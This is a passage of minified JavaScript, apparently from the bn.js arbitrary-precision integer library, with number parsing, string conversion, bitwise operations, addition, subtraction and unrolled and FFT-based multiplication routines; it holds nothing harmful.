n=0;"-"===(e=e.toString().replace(/\s+/g,""))[0]&&n++,16===t?this._parseHex(e,n):this._parseBase(e,t,n),"-"===e[0]&&(this.negative=1),this.strip(),"le"===i&&this._initArray(this.toArray(),t,i)},n.prototype._initNumber=function(e,t,i){e<0&&(this.negative=1,e=-e),e<67108864?(this.words=[67108863&e],this.length=1):e<4503599627370496?(this.words=[67108863&e,e/67108864&67108863],this.length=2):(r(e<9007199254740992),this.words=[67108863&e,e/67108864&67108863,1],this.length=3),"le"===i&&this._initArray(this.toArray(),t,i)},n.prototype._initArray=function(e,t,i){if(r("number"==typeof e.length),e.length<=0)return this.words=[0],this.length=1,this;this.length=Math.ceil(e.length/3),this.words=Array(this.length);for(var n=0;n<this.length;n++)this.words[n]=0;var a,s,o=0;if("be"===i)for(n=e.length-1,a=0;n>=0;n-=3)s=e[n]|e[n-1]<<8|e[n-2]<<16,this.words[a]|=s<<o&67108863,this.words[a+1]=s>>>26-o&67108863,(o+=24)>=26&&(o-=26,a++);else if("le"===i)for(n=0,a=0;n<e.length;n+=3)s=e[n]|e[n+1]<<8|e[n+2]<<16,this.words[a]|=s<<o&67108863,this.words[a+1]=s>>>26-o&67108863,(o+=24)>=26&&(o-=26,a++);return this.strip()},n.prototype._parseHex=function(e,t){this.length=Math.ceil((e.length-t)/6),this.words=Array(this.length);for(var r=0;r<this.length;r++)this.words[r]=0;var i,n,a=0;for(r=e.length-6,i=0;r>=t;r-=6)n=s(e,r,r+6),this.words[i]|=n<<a&67108863,this.words[i+1]|=n>>>26-a&4194303,(a+=24)>=26&&(a-=26,i++);r+6!==t&&(n=s(e,t,r+6),this.words[i]|=n<<a&67108863,this.words[i+1]|=n>>>26-a&4194303),this.strip()},n.prototype._parseBase=function(e,t,r){this.words=[0],this.length=1;for(var i=0,n=1;n<=67108863;n*=t)i++;i--,n=n/t|0;for(var a=e.length-r,s=a%i,c=Math.min(a,a-s)+r,u=0,h=r;h<c;h+=i)u=o(e,h,h+i,t),this.imuln(n),this.words[0]+u<67108864?this.words[0]+=u:this._iaddn(u);if(0!==s){var d=1;for(u=o(e,h,e.length,t),h=0;h<s;h++)d*=t;this.imuln(d),this.words[0]+u<67108864?this.words[0]+=u:this._iaddn(u)}},n.prototype.copy=function(e){e.words=Array(this.length);for(var t=0;t<this.length;t++)e.words[t]=this.words[t];e.length=this.length,e.negative=this.negative,e.red=this.red},n.prototype.clone=function(){var e=new n(null);return this.copy(e),e},n.prototype._expand=function(e){for(;this.length<e;)this.words[this.length++]=0;return this},n.prototype.strip=function(){for(;this.length>1&&0===this.words[this.length-1];)this.length--;return this._normSign()},n.prototype._normSign=function(){return 1===this.length&&0===this.words[0]&&(this.negative=0),this},n.prototype.inspect=function(){return(this.red?"<BN-R: ":"<BN: ")+this.toString(16)+">"};var c=["","0","00","000","0000","00000","000000","0000000","00000000","000000000","0000000000","00000000000","000000000000","0000000000000","00000000000000","000000000000000","0000000000000000","00000000000000000","000000000000000000","0000000000000000000","00000000000000000000","000000000000000000000","0000000000000000000000","00000000000000000000000","000000000000000000000000","0000000000000000000000000"],u=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],h=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];function d(e,t,r){r.negative=t.negative^e.negative;var i=e.length+t.length|0;r.length=i,i=i-1|0;var n=0|e.words[0],a=0|t.words[0],s=n*a,o=67108863&s,c=s/67108864|0;r.words[0]=o;for(var u=1;u<i;u++){for(var h=c>>>26,d=67108863&c,f=Math.min(u,t.length-1),l=Math.max(0,u-e.length+1);l<=f;l++){var p=u-l|0;h+=(s=(n=0|e.words[p])*(a=0|t.words[l])+d)/67108864|0,d=67108863&s}r.words[u]=0|d,c=0|h}return 0!==c?r.words[u]=0|c:r.length--,r.strip()}n.prototype.toString=function(e,t){var i;if(t=0|t||1,16===(e=e||10)||"hex"===e){i="";for(var n=0,a=0,s=0;s<this.length;s++){var o=this.words[s],d=(16777215&(o<<n|a)).toString(16);i=0!==(a=o>>>24-n&16777215)||s!==this.length-1?c[6-d.length]+d+i:d+i,(n+=2)>=26&&(n-=26,s--)}for(0!==a&&(i=a.toString(16)+i);i.length%t!=0;)i="0"+i;return 0!==this.negative&&(i="-"+i),i}if(e===(0|e)&&e>=2&&e<=36){var f=u[e],l=h[e];i="";var p=this.clone();for(p.negative=0;!p.isZero();){var y=p.modn(l).toString(e);i=(p=p.idivn(l)).isZero()?y+i:c[f-y.length]+y+i}for(this.isZero()&&(i="0"+i);i.length%t!=0;)i="0"+i;return 0!==this.negative&&(i="-"+i),i}r(!1,"Base should be between 2 and 36")},n.prototype.toNumber=function(){var e=this.words[0];return 2===this.length?e+=67108864*this.words[1]:3===this.length&&1===this.words[2]?e+=4503599627370496+67108864*this.words[1]:this.length>2&&r(!1,"Number can only safely store up to 53 bits"),0!==this.negative?-e:e},n.prototype.toJSON=function(){return this.toString(16)},n.prototype.toBuffer=function(e,t){return r(void 0!==a),this.toArrayLike(a,e,t)},n.prototype.toArray=function(e,t){return this.toArrayLike(Array,e,t)},n.prototype.toArrayLike=function(e,t,i){var n=this.byteLength(),a=i||Math.max(1,n);r(n<=a,"byte array longer than desired length"),r(a>0,"Requested array length <= 0"),this.strip();var s,o,c="le"===t,u=new e(a),h=this.clone();if(c){for(o=0;!h.isZero();o++)s=h.andln(255),h.iushrn(8),u[o]=s;for(;o<a;o++)u[o]=0}else{for(o=0;o<a-n;o++)u[o]=0;for(o=0;!h.isZero();o++)s=h.andln(255),h.iushrn(8),u[a-o-1]=s}return u},n.prototype._countBits=Math.clz32?function(e){return 32-Math.clz32(e)}:function(e){var t=e,r=0;return t>=4096&&(r+=13,t>>>=13),t>=64&&(r+=7,t>>>=7),t>=8&&(r+=4,t>>>=4),t>=2&&(r+=2,t>>>=2),r+t},n.prototype._zeroBits=function(e){if(0===e)return 26;var t=e,r=0;return 0==(8191&t)&&(r+=13,t>>>=13),0==(127&t)&&(r+=7,t>>>=7),0==(15&t)&&(r+=4,t>>>=4),0==(3&t)&&(r+=2,t>>>=2),0==(1&t)&&r++,r},n.prototype.bitLength=function(){var e=this.words[this.length-1],t=this._countBits(e);return 26*(this.length-1)+t},n.prototype.zeroBits=function(){if(this.isZero())return 0;for(var e=0,t=0;t<this.length;t++){var r=this._zeroBits(this.words[t]);if(e+=r,26!==r)break}return e},n.prototype.byteLength=function(){return Math.ceil(this.bitLength()/8)},n.prototype.toTwos=function(e){return 0!==this.negative?this.abs().inotn(e).iaddn(1):this.clone()},n.prototype.fromTwos=function(e){return this.testn(e-1)?this.notn(e).iaddn(1).ineg():this.clone()},n.prototype.isNeg=function(){return 0!==this.negative},n.prototype.neg=function(){return this.clone().ineg()},n.prototype.ineg=function(){return this.isZero()||(this.negative^=1),this},n.prototype.iuor=function(e){for(;this.length<e.length;)this.words[this.length++]=0;for(var t=0;t<e.length;t++)this.words[t]=this.words[t]|e.words[t];return this.strip()},n.prototype.ior=function(e){return r(0==(this.negative|e.negative)),this.iuor(e)},n.prototype.or=function(e){return this.length>e.length?this.clone().ior(e):e.clone().ior(this)},n.prototype.uor=function(e){return this.length>e.length?this.clone().iuor(e):e.clone().iuor(this)},n.prototype.iuand=function(e){var t;t=this.length>e.length?e:this;for(var r=0;r<t.length;r++)this.words[r]=this.words[r]&e.words[r];return this.length=t.length,this.strip()},n.prototype.iand=function(e){return r(0==(this.negative|e.negative)),this.iuand(e)},n.prototype.and=function(e){return this.length>e.length?this.clone().iand(e):e.clone().iand(this)},n.prototype.uand=function(e){return this.length>e.length?this.clone().iuand(e):e.clone().iuand(this)},n.prototype.iuxor=function(e){var t,r;this.length>e.length?(t=this,r=e):(t=e,r=this);for(var i=0;i<r.length;i++)this.words[i]=t.words[i]^r.words[i];if(this!==t)for(;i<t.length;i++)this.words[i]=t.words[i];return this.length=t.length,this.strip()},n.prototype.ixor=function(e){return r(0==(this.negative|e.negative)),this.iuxor(e)},n.prototype.xor=function(e){return this.length>e.length?this.clone().ixor(e):e.clone().ixor(this)},n.prototype.uxor=function(e){return this.length>e.length?this.clone().iuxor(e):e.clone().iuxor(this)},n.prototype.inotn=function(e){r("number"==typeof e&&e>=0);var t=0|Math.ceil(e/26),i=e%26;this._expand(t),i>0&&t--;for(var n=0;n<t;n++)this.words[n]=67108863&~this.words[n];return i>0&&(this.words[n]=~this.words[n]&67108863>>26-i),this.strip()},n.prototype.notn=function(e){return this.clone().inotn(e)},n.prototype.setn=function(e,t){r("number"==typeof e&&e>=0);var i=e/26|0,n=e%26;return this._expand(i+1),this.words[i]=t?this.words[i]|1<<n:this.words[i]&~(1<<n),this.strip()},n.prototype.iadd=function(e){var t,r,i;if(0!==this.negative&&0===e.negative)return this.negative=0,t=this.isub(e),this.negative^=1,this._normSign();if(0===this.negative&&0!==e.negative)return e.negative=0,t=this.isub(e),e.negative=1,t._normSign();this.length>e.length?(r=this,i=e):(r=e,i=this);for(var n=0,a=0;a<i.length;a++)t=(0|r.words[a])+(0|i.words[a])+n,this.words[a]=67108863&t,n=t>>>26;for(;0!==n&&a<r.length;a++)t=(0|r.words[a])+n,this.words[a]=67108863&t,n=t>>>26;if(this.length=r.length,0!==n)this.words[this.length]=n,this.length++;else if(r!==this)for(;a<r.length;a++)this.words[a]=r.words[a];return this},n.prototype.add=function(e){var t;return 0!==e.negative&&0===this.negative?(e.negative=0,t=this.sub(e),e.negative^=1,t):0===e.negative&&0!==this.negative?(this.negative=0,t=e.sub(this),this.negative=1,t):this.length>e.length?this.clone().iadd(e):e.clone().iadd(this)},n.prototype.isub=function(e){if(0!==e.negative){e.negative=0;var t=this.iadd(e);return e.negative=1,t._normSign()}if(0!==this.negative)return this.negative=0,this.iadd(e),this.negative=1,this._normSign();var r,i,n=this.cmp(e);if(0===n)return this.negative=0,this.length=1,this.words[0]=0,this;n>0?(r=this,i=e):(r=e,i=this);for(var a=0,s=0;s<i.length;s++)a=(t=(0|r.words[s])-(0|i.words[s])+a)>>26,this.words[s]=67108863&t;for(;0!==a&&s<r.length;s++)a=(t=(0|r.words[s])+a)>>26,this.words[s]=67108863&t;if(0===a&&s<r.length&&r!==this)for(;s<r.length;s++)this.words[s]=r.words[s];return this.length=Math.max(this.length,s),r!==this&&(this.negative=1),this.strip()},n.prototype.sub=function(e){return this.clone().isub(e)};var f=function(e,t,r){var i,n,a,s=e.words,o=t.words,c=r.words,u=0,h=0|s[0],d=8191&h,f=h>>>13,l=0|s[1],p=8191&l,y=l>>>13,b=0|s[2],m=8191&b,g=b>>>13,w=0|s[3],v=8191&w,_=w>>>13,k=0|s[4],A=8191&k,S=k>>>13,E=0|s[5],P=8191&E,x=E>>>13,M=0|s[6],C=8191&M,K=M>>>13,D=0|s[7],R=8191&D,I=D>>>13,U=0|s[8],B=8191&U,T=U>>>13,z=0|s[9],q=8191&z,O=z>>>13,F=0|o[0],N=8191&F,L=F>>>13,j=0|o[1],W=8191&j,H=j>>>13,G=0|o[2],V=8191&G,$=G>>>13,Z=0|o[3],Y=8191&Z,X=Z>>>13,Q=0|o[4],J=8191&Q,ee=Q>>>13,te=0|o[5],re=8191&te,ie=te>>>13,ne=0|o[6],ae=8191&ne,se=ne>>>13,oe=0|o[7],ce=8191&oe,ue=oe>>>13,he=0|o[8],de=8191&he,fe=he>>>13,le=0|o[9],pe=8191&le,ye=le>>>13;r.negative=e.negative^t.negative,r.length=19;var be=(u+(i=Math.imul(d,N))|0)+((8191&(n=(n=Math.imul(d,L))+Math.imul(f,N)|0))<<13)|0;u=((a=Math.imul(f,L))+(n>>>13)|0)+(be>>>26)|0,be&=67108863,i=Math.imul(p,N),n=(n=Math.imul(p,L))+Math.imul(y,N)|0,a=Math.imul(y,L);var me=(u+(i=i+Math.imul(d,W)|0)|0)+((8191&(n=(n=n+Math.imul(d,H)|0)+Math.imul(f,W)|0))<<13)|0;u=((a=a+Math.imul(f,H)|0)+(n>>>13)|0)+(me>>>26)|0,me&=67108863,i=Math.imul(m,N),n=(n=Math.imul(m,L))+Math.imul(g,N)|0,a=Math.imul(g,L),i=i+Math.imul(p,W)|0,n=(n=n+Math.imul(p,H)|0)+Math.imul(y,W)|0,a=a+Math.imul(y,H)|0;var ge=(u+(i=i+Math.imul(d,V)|0)|0)+((8191&(n=(n=n+Math.imul(d,$)|0)+Math.imul(f,V)|0))<<13)|0;u=((a=a+Math.imul(f,$)|0)+(n>>>13)|0)+(ge>>>26)|0,ge&=67108863,i=Math.imul(v,N),n=(n=Math.imul(v,L))+Math.imul(_,N)|0,a=Math.imul(_,L),i=i+Math.imul(m,W)|0,n=(n=n+Math.imul(m,H)|0)+Math.imul(g,W)|0,a=a+Math.imul(g,H)|0,i=i+Math.imul(p,V)|0,n=(n=n+Math.imul(p,$)|0)+Math.imul(y,V)|0,a=a+Math.imul(y,$)|0;var we=(u+(i=i+Math.imul(d,Y)|0)|0)+((8191&(n=(n=n+Math.imul(d,X)|0)+Math.imul(f,Y)|0))<<13)|0;u=((a=a+Math.imul(f,X)|0)+(n>>>13)|0)+(we>>>26)|0,we&=67108863,i=Math.imul(A,N),n=(n=Math.imul(A,L))+Math.imul(S,N)|0,a=Math.imul(S,L),i=i+Math.imul(v,W)|0,n=(n=n+Math.imul(v,H)|0)+Math.imul(_,W)|0,a=a+Math.imul(_,H)|0,i=i+Math.imul(m,V)|0,n=(n=n+Math.imul(m,$)|0)+Math.imul(g,V)|0,a=a+Math.imul(g,$)|0,i=i+Math.imul(p,Y)|0,n=(n=n+Math.imul(p,X)|0)+Math.imul(y,Y)|0,a=a+Math.imul(y,X)|0;var ve=(u+(i=i+Math.imul(d,J)|0)|0)+((8191&(n=(n=n+Math.imul(d,ee)|0)+Math.imul(f,J)|0))<<13)|0;u=((a=a+Math.imul(f,ee)|0)+(n>>>13)|0)+(ve>>>26)|0,ve&=67108863,i=Math.imul(P,N),n=(n=Math.imul(P,L))+Math.imul(x,N)|0,a=Math.imul(x,L),i=i+Math.imul(A,W)|0,n=(n=n+Math.imul(A,H)|0)+Math.imul(S,W)|0,a=a+Math.imul(S,H)|0,i=i+Math.imul(v,V)|0,n=(n=n+Math.imul(v,$)|0)+Math.imul(_,V)|0,a=a+Math.imul(_,$)|0,i=i+Math.imul(m,Y)|0,n=(n=n+Math.imul(m,X)|0)+Math.imul(g,Y)|0,a=a+Math.imul(g,X)|0,i=i+Math.imul(p,J)|0,n=(n=n+Math.imul(p,ee)|0)+Math.imul(y,J)|0,a=a+Math.imul(y,ee)|0;var _e=(u+(i=i+Math.imul(d,re)|0)|0)+((8191&(n=(n=n+Math.imul(d,ie)|0)+Math.imul(f,re)|0))<<13)|0;u=((a=a+Math.imul(f,ie)|0)+(n>>>13)|0)+(_e>>>26)|0,_e&=67108863,i=Math.imul(C,N),n=(n=Math.imul(C,L))+Math.imul(K,N)|0,a=Math.imul(K,L),i=i+Math.imul(P,W)|0,n=(n=n+Math.imul(P,H)|0)+Math.imul(x,W)|0,a=a+Math.imul(x,H)|0,i=i+Math.imul(A,V)|0,n=(n=n+Math.imul(A,$)|0)+Math.imul(S,V)|0,a=a+Math.imul(S,$)|0,i=i+Math.imul(v,Y)|0,n=(n=n+Math.imul(v,X)|0)+Math.imul(_,Y)|0,a=a+Math.imul(_,X)|0,i=i+Math.imul(m,J)|0,n=(n=n+Math.imul(m,ee)|0)+Math.imul(g,J)|0,a=a+Math.imul(g,ee)|0,i=i+Math.imul(p,re)|0,n=(n=n+Math.imul(p,ie)|0)+Math.imul(y,re)|0,a=a+Math.imul(y,ie)|0;var ke=(u+(i=i+Math.imul(d,ae)|0)|0)+((8191&(n=(n=n+Math.imul(d,se)|0)+Math.imul(f,ae)|0))<<13)|0;u=((a=a+Math.imul(f,se)|0)+(n>>>13)|0)+(ke>>>26)|0,ke&=67108863,i=Math.imul(R,N),n=(n=Math.imul(R,L))+Math.imul(I,N)|0,a=Math.imul(I,L),i=i+Math.imul(C,W)|0,n=(n=n+Math.imul(C,H)|0)+Math.imul(K,W)|0,a=a+Math.imul(K,H)|0,i=i+Math.imul(P,V)|0,n=(n=n+Math.imul(P,$)|0)+Math.imul(x,V)|0,a=a+Math.imul(x,$)|0,i=i+Math.imul(A,Y)|0,n=(n=n+Math.imul(A,X)|0)+Math.imul(S,Y)|0,a=a+Math.imul(S,X)|0,i=i+Math.imul(v,J)|0,n=(n=n+Math.imul(v,ee)|0)+Math.imul(_,J)|0,a=a+Math.imul(_,ee)|0,i=i+Math.imul(m,re)|0,n=(n=n+Math.imul(m,ie)|0)+Math.imul(g,re)|0,a=a+Math.imul(g,ie)|0,i=i+Math.imul(p,ae)|0,n=(n=n+Math.imul(p,se)|0)+Math.imul(y,ae)|0,a=a+Math.imul(y,se)|0;var Ae=(u+(i=i+Math.imul(d,ce)|0)|0)+((8191&(n=(n=n+Math.imul(d,ue)|0)+Math.imul(f,ce)|0))<<13)|0;u=((a=a+Math.imul(f,ue)|0)+(n>>>13)|0)+(Ae>>>26)|0,Ae&=67108863,i=Math.imul(B,N),n=(n=Math.imul(B,L))+Math.imul(T,N)|0,a=Math.imul(T,L),i=i+Math.imul(R,W)|0,n=(n=n+Math.imul(R,H)|0)+Math.imul(I,W)|0,a=a+Math.imul(I,H)|0,i=i+Math.imul(C,V)|0,n=(n=n+Math.imul(C,$)|0)+Math.imul(K,V)|0,a=a+Math.imul(K,$)|0,i=i+Math.imul(P,Y)|0,n=(n=n+Math.imul(P,X)|0)+Math.imul(x,Y)|0,a=a+Math.imul(x,X)|0,i=i+Math.imul(A,J)|0,n=(n=n+Math.imul(A,ee)|0)+Math.imul(S,J)|0,a=a+Math.imul(S,ee)|0,i=i+Math.imul(v,re)|0,n=(n=n+Math.imul(v,ie)|0)+Math.imul(_,re)|0,a=a+Math.imul(_,ie)|0,i=i+Math.imul(m,ae)|0,n=(n=n+Math.imul(m,se)|0)+Math.imul(g,ae)|0,a=a+Math.imul(g,se)|0,i=i+Math.imul(p,ce)|0,n=(n=n+Math.imul(p,ue)|0)+Math.imul(y,ce)|0,a=a+Math.imul(y,ue)|0;var Se=(u+(i=i+Math.imul(d,de)|0)|0)+((8191&(n=(n=n+Math.imul(d,fe)|0)+Math.imul(f,de)|0))<<13)|0;u=((a=a+Math.imul(f,fe)|0)+(n>>>13)|0)+(Se>>>26)|0,Se&=67108863,i=Math.imul(q,N),n=(n=Math.imul(q,L))+Math.imul(O,N)|0,a=Math.imul(O,L),i=i+Math.imul(B,W)|0,n=(n=n+Math.imul(B,H)|0)+Math.imul(T,W)|0,a=a+Math.imul(T,H)|0,i=i+Math.imul(R,V)|0,n=(n=n+Math.imul(R,$)|0)+Math.imul(I,V)|0,a=a+Math.imul(I,$)|0,i=i+Math.imul(C,Y)|0,n=(n=n+Math.imul(C,X)|0)+Math.imul(K,Y)|0,a=a+Math.imul(K,X)|0,i=i+Math.imul(P,J)|0,n=(n=n+Math.imul(P,ee)|0)+Math.imul(x,J)|0,a=a+Math.imul(x,ee)|0,i=i+Math.imul(A,re)|0,n=(n=n+Math.imul(A,ie)|0)+Math.imul(S,re)|0,a=a+Math.imul(S,ie)|0,i=i+Math.imul(v,ae)|0,n=(n=n+Math.imul(v,se)|0)+Math.imul(_,ae)|0,a=a+Math.imul(_,se)|0,i=i+Math.imul(m,ce)|0,n=(n=n+Math.imul(m,ue)|0)+Math.imul(g,ce)|0,a=a+Math.imul(g,ue)|0,i=i+Math.imul(p,de)|0,n=(n=n+Math.imul(p,fe)|0)+Math.imul(y,de)|0,a=a+Math.imul(y,fe)|0;var Ee=(u+(i=i+Math.imul(d,pe)|0)|0)+((8191&(n=(n=n+Math.imul(d,ye)|0)+Math.imul(f,pe)|0))<<13)|0;u=((a=a+Math.imul(f,ye)|0)+(n>>>13)|0)+(Ee>>>26)|0,Ee&=67108863,i=Math.imul(q,W),n=(n=Math.imul(q,H))+Math.imul(O,W)|0,a=Math.imul(O,H),i=i+Math.imul(B,V)|0,n=(n=n+Math.imul(B,$)|0)+Math.imul(T,V)|0,a=a+Math.imul(T,$)|0,i=i+Math.imul(R,Y)|0,n=(n=n+Math.imul(R,X)|0)+Math.imul(I,Y)|0,a=a+Math.imul(I,X)|0,i=i+Math.imul(C,J)|0,n=(n=n+Math.imul(C,ee)|0)+Math.imul(K,J)|0,a=a+Math.imul(K,ee)|0,i=i+Math.imul(P,re)|0,n=(n=n+Math.imul(P,ie)|0)+Math.imul(x,re)|0,a=a+Math.imul(x,ie)|0,i=i+Math.imul(A,ae)|0,n=(n=n+Math.imul(A,se)|0)+Math.imul(S,ae)|0,a=a+Math.imul(S,se)|0,i=i+Math.imul(v,ce)|0,n=(n=n+Math.imul(v,ue)|0)+Math.imul(_,ce)|0,a=a+Math.imul(_,ue)|0,i=i+Math.imul(m,de)|0,n=(n=n+Math.imul(m,fe)|0)+Math.imul(g,de)|0,a=a+Math.imul(g,fe)|0;var Pe=(u+(i=i+Math.imul(p,pe)|0)|0)+((8191&(n=(n=n+Math.imul(p,ye)|0)+Math.imul(y,pe)|0))<<13)|0;u=((a=a+Math.imul(y,ye)|0)+(n>>>13)|0)+(Pe>>>26)|0,Pe&=67108863,i=Math.imul(q,V),n=(n=Math.imul(q,$))+Math.imul(O,V)|0,a=Math.imul(O,$),i=i+Math.imul(B,Y)|0,n=(n=n+Math.imul(B,X)|0)+Math.imul(T,Y)|0,a=a+Math.imul(T,X)|0,i=i+Math.imul(R,J)|0,n=(n=n+Math.imul(R,ee)|0)+Math.imul(I,J)|0,a=a+Math.imul(I,ee)|0,i=i+Math.imul(C,re)|0,n=(n=n+Math.imul(C,ie)|0)+Math.imul(K,re)|0,a=a+Math.imul(K,ie)|0,i=i+Math.imul(P,ae)|0,n=(n=n+Math.imul(P,se)|0)+Math.imul(x,ae)|0,a=a+Math.imul(x,se)|0,i=i+Math.imul(A,ce)|0,n=(n=n+Math.imul(A,ue)|0)+Math.imul(S,ce)|0,a=a+Math.imul(S,ue)|0,i=i+Math.imul(v,de)|0,n=(n=n+Math.imul(v,fe)|0)+Math.imul(_,de)|0,a=a+Math.imul(_,fe)|0;var xe=(u+(i=i+Math.imul(m,pe)|0)|0)+((8191&(n=(n=n+Math.imul(m,ye)|0)+Math.imul(g,pe)|0))<<13)|0;u=((a=a+Math.imul(g,ye)|0)+(n>>>13)|0)+(xe>>>26)|0,xe&=67108863,i=Math.imul(q,Y),n=(n=Math.imul(q,X))+Math.imul(O,Y)|0,a=Math.imul(O,X),i=i+Math.imul(B,J)|0,n=(n=n+Math.imul(B,ee)|0)+Math.imul(T,J)|0,a=a+Math.imul(T,ee)|0,i=i+Math.imul(R,re)|0,n=(n=n+Math.imul(R,ie)|0)+Math.imul(I,re)|0,a=a+Math.imul(I,ie)|0,i=i+Math.imul(C,ae)|0,n=(n=n+Math.imul(C,se)|0)+Math.imul(K,ae)|0,a=a+Math.imul(K,se)|0,i=i+Math.imul(P,ce)|0,n=(n=n+Math.imul(P,ue)|0)+Math.imul(x,ce)|0,a=a+Math.imul(x,ue)|0,i=i+Math.imul(A,de)|0,n=(n=n+Math.imul(A,fe)|0)+Math.imul(S,de)|0,a=a+Math.imul(S,fe)|0;var Me=(u+(i=i+Math.imul(v,pe)|0)|0)+((8191&(n=(n=n+Math.imul(v,ye)|0)+Math.imul(_,pe)|0))<<13)|0;u=((a=a+Math.imul(_,ye)|0)+(n>>>13)|0)+(Me>>>26)|0,Me&=67108863,i=Math.imul(q,J),n=(n=Math.imul(q,ee))+Math.imul(O,J)|0,a=Math.imul(O,ee),i=i+Math.imul(B,re)|0,n=(n=n+Math.imul(B,ie)|0)+Math.imul(T,re)|0,a=a+Math.imul(T,ie)|0,i=i+Math.imul(R,ae)|0,n=(n=n+Math.imul(R,se)|0)+Math.imul(I,ae)|0,a=a+Math.imul(I,se)|0,i=i+Math.imul(C,ce)|0,n=(n=n+Math.imul(C,ue)|0)+Math.imul(K,ce)|0,a=a+Math.imul(K,ue)|0,i=i+Math.imul(P,de)|0,n=(n=n+Math.imul(P,fe)|0)+Math.imul(x,de)|0,a=a+Math.imul(x,fe)|0;var Ce=(u+(i=i+Math.imul(A,pe)|0)|0)+((8191&(n=(n=n+Math.imul(A,ye)|0)+Math.imul(S,pe)|0))<<13)|0;u=((a=a+Math.imul(S,ye)|0)+(n>>>13)|0)+(Ce>>>26)|0,Ce&=67108863,i=Math.imul(q,re),n=(n=Math.imul(q,ie))+Math.imul(O,re)|0,a=Math.imul(O,ie),i=i+Math.imul(B,ae)|0,n=(n=n+Math.imul(B,se)|0)+Math.imul(T,ae)|0,a=a+Math.imul(T,se)|0,i=i+Math.imul(R,ce)|0,n=(n=n+Math.imul(R,ue)|0)+Math.imul(I,ce)|0,a=a+Math.imul(I,ue)|0,i=i+Math.imul(C,de)|0,n=(n=n+Math.imul(C,fe)|0)+Math.imul(K,de)|0,a=a+Math.imul(K,fe)|0;var Ke=(u+(i=i+Math.imul(P,pe)|0)|0)+((8191&(n=(n=n+Math.imul(P,ye)|0)+Math.imul(x,pe)|0))<<13)|0;u=((a=a+Math.imul(x,ye)|0)+(n>>>13)|0)+(Ke>>>26)|0,Ke&=67108863,i=Math.imul(q,ae),n=(n=Math.imul(q,se))+Math.imul(O,ae)|0,a=Math.imul(O,se),i=i+Math.imul(B,ce)|0,n=(n=n+Math.imul(B,ue)|0)+Math.imul(T,ce)|0,a=a+Math.imul(T,ue)|0,i=i+Math.imul(R,de)|0,n=(n=n+Math.imul(R,fe)|0)+Math.imul(I,de)|0,a=a+Math.imul(I,fe)|0;var De=(u+(i=i+Math.imul(C,pe)|0)|0)+((8191&(n=(n=n+Math.imul(C,ye)|0)+Math.imul(K,pe)|0))<<13)|0;u=((a=a+Math.imul(K,ye)|0)+(n>>>13)|0)+(De>>>26)|0,De&=67108863,i=Math.imul(q,ce),n=(n=Math.imul(q,ue))+Math.imul(O,ce)|0,a=Math.imul(O,ue),i=i+Math.imul(B,de)|0,n=(n=n+Math.imul(B,fe)|0)+Math.imul(T,de)|0,a=a+Math.imul(T,fe)|0;var Re=(u+(i=i+Math.imul(R,pe)|0)|0)+((8191&(n=(n=n+Math.imul(R,ye)|0)+Math.imul(I,pe)|0))<<13)|0;u=((a=a+Math.imul(I,ye)|0)+(n>>>13)|0)+(Re>>>26)|0,Re&=67108863,i=Math.imul(q,de),n=(n=Math.imul(q,fe))+Math.imul(O,de)|0,a=Math.imul(O,fe);var Ie=(u+(i=i+Math.imul(B,pe)|0)|0)+((8191&(n=(n=n+Math.imul(B,ye)|0)+Math.imul(T,pe)|0))<<13)|0;u=((a=a+Math.imul(T,ye)|0)+(n>>>13)|0)+(Ie>>>26)|0,Ie&=67108863;var Ue=(u+(i=Math.imul(q,pe))|0)+((8191&(n=(n=Math.imul(q,ye))+Math.imul(O,pe)|0))<<13)|0;return u=((a=Math.imul(O,ye))+(n>>>13)|0)+(Ue>>>26)|0,Ue&=67108863,c[0]=be,c[1]=me,c[2]=ge,c[3]=we,c[4]=ve,c[5]=_e,c[6]=ke,c[7]=Ae,c[8]=Se,c[9]=Ee,c[10]=Pe,c[11]=xe,c[12]=Me,c[13]=Ce,c[14]=Ke,c[15]=De,c[16]=Re,c[17]=Ie,c[18]=Ue,0!==u&&(c[19]=u,r.length++),r};function l(e,t,r){return(new p).mulp(e,t,r)}function p(e,t){this.x=e,this.y=t}Math.imul||(f=d),n.prototype.mulTo=function(e,t){var r=this.length+e.length;return 10===this.length&&10===e.length?f(this,e,t):r<63?d(this,e,t):r<1024?function(e,t,r){r.negative=t.negative^e.negative,r.length=e.length+t.length;for(var i=0,n=0,a=0;a<r.length-1;a++){var s=n;n=0;for(var o=67108863&i,c=Math.min(a,t.length-1),u=Math.max(0,a-e.length+1);u<=c;u++){var h=a-u,d=(0|e.words[h])*(0|t.words[u]),f=67108863&d;o=67108863&(f=f+o|0),n+=(s=(s=s+(d/67108864|0)|0)+(f>>>26)|0)>>>26,s&=67108863}r.words[a]=o,i=s,s=n}return 0!==i?r.words[a]=i:r.length--,r.strip()}(this,e,t):l(this,e,t)},p.prototype.makeRBT=function(e){for(var t=Array(e),r=n.prototype._countBits(e)-1,i=0;i<e;i++)t[i]=this.revBin(i,r,e);return t},p.prototype.revBin=function(e,t,r){if(0===e||e===r-1)return e;for(var i=0,n=0;n<t;n++)i|=(1&e)<<t-n-1,e>>=1;return i},p.prototype.permute=function(e,t,r,i,n,a){for(var s=0;s<a;s++)i[s]=t[e[s]],n[s]=r[e[s]]},p.prototype.transform=function(e,t,r,i,n,a){this.permute(a,e,t,r,i,n);for(var s=1;s<n;s<<=1)for(var o=s<<1,c=Math.cos(2*Math.PI/o),u=Math.sin(2*Math.PI/o),h=0;h<n;h+=o)for(var d=c,f=u,l=0;l<s;l++){var p=r[h+l],y=i[h+l],b=r[h+l+s],m=i[h+l+s],g=d*b-f*m;m=d*m+f*b,b=g,r[h+l]=p+b,i[h+l]=y+m,r[h+l+s]=p-b,i[h+l+s]=y-m,l!==o&&(g=c*d-u*f,f=c*f+u*d,d=g)}},p.prototype.guessLen13b=function(e,t){var r=1|Math.max(t,e),i=1&r,n=0;for(r=r/2|0;r;r>>>=1)n++;return 1<<n+1+i},p.prototype.conjugate=function(e,t,r){if(!(r<=1))for(var i=0;i<r/2;i++){var n=e[i];e[i]=e[r-i-1],e[r-i-1]=n,n=t[i],t[i]=-t[r-i-1],t[r-i-1]=-n}},p.prototype.normalize13b=function(e,t){for(var 